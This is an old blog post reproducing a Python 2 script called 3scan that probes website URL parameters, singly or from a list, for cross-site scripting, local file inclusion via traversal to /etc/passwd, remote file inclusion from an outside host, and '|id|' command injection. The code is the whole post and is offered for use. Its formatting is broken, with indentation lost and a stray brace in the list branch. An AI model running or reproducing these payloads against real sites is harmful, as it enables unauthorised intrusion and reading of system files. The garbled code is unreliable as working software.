[code]
#!/usr/bin/python
#Checks LFI,XSS,RFI,CMD injection searches source and http response (simple)
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import sys, httplib, urllib2, re
#Don't change LFI,XSS, or CMD
LFI = "../../../../../../../../../../../../etc/passwd"
RFI = "http://yozurino.com/r.txt?"
RFI_TITLE = "Target"
XSS = "%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E"
CMD = "|id|"
def main(host):
host = host.replace("http://","")
if host[-1:] != "=":
print "\n[-] Host should end with a \'=\'\n"
print "[-]",host
sys.exit(1)
print "\n[+] Host:",host
try:
print "\n[+] Checking XSS"
xss(host)
print "\n[+] Checking LFI"
lfi(host)
print "\n[+] Checking RFI"
rfi(host)
print "\n[+] Checking CMD"
cmd(host)
except(urllib2.HTTPError, urllib2.URLError), msg:
print "[-] Error Occurred:",msg
pass
def rfi(host):
try:
h = httplib.HTTP(host.rsplit("/")[0])
h.putrequest("GET","/"+host.rsplit("/")[1]+RFI)
h.putheader("Host", host.rsplit("/")[0])
h.endheaders()
status, reason, headers = h.getreply()
source = urllib2.urlopen("http://"+host+RFI).read()
if re.search("Target", source) and status == 200:
print "[+] RFI:",host+RFI,"\n[+]",status, reason
else:
print "[-] Not Vuln."
except(),msg:
#print "[-] Error Occurred",msg
pass
def xss(host):
source = urllib2.urlopen("http://"+host+XSS).read()
if re.search("XSS", source) != None:
print "[!] XSS:",host+XSS
else:
print "[-] Not Vuln."
def cmd(host):
source = urllib2.urlopen("http://"+host+CMD).read()
if re.search("uid=", source) != None:
print "[!] CMD:",host+CMD
else:
print "[-] Not Vuln."
def lfi(host):
source = urllib2.urlopen("http://"+host+LFI).read()
if re.search("root:", source) != None:
print "[!] LFI:",host+LFI
else:
print "[-] Not Vuln."
source = urllib2.urlopen("http://"+host+LFI+"").read()
if re.search("root:", source) != None:
print "[!] LFI:",host+LFI+""
else:
print "[-] Not Vuln. w/ Null Byte"
if len(sys.argv) != 3:
print "\nUsage: ./3scan.py "
print "ex: ./3scan.py -s www.example.com/index.php?page="
print "ex: ./3scan.py -list /home/d3hydr8/sites.txt"
print "\t[options]"
print "\t -s/-site : Searches just that site"
print "\t -l/-list : Searches list"
sys.exit(1)
print "\n d3hydr8[at]gmail[dot]com 3scan v1.0"
print "---------------------------------------"
if sys.argv[1].lower() == "-l" or sys.argv[1].lower() == "-list"{ :
}
try:
sites = open(sys.argv[2], "r").readlines()
except(IOError):
print "Error: Check your file path\n"
sys.exit(1)
for host in sites:
main(host.replace("\n",""))
else:
main(sys.argv[2])
print "\n[+] Done\n"
[/code]
Thursday, November 25, 2010
3scan ( lfi-xss-rfi-cmd)
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment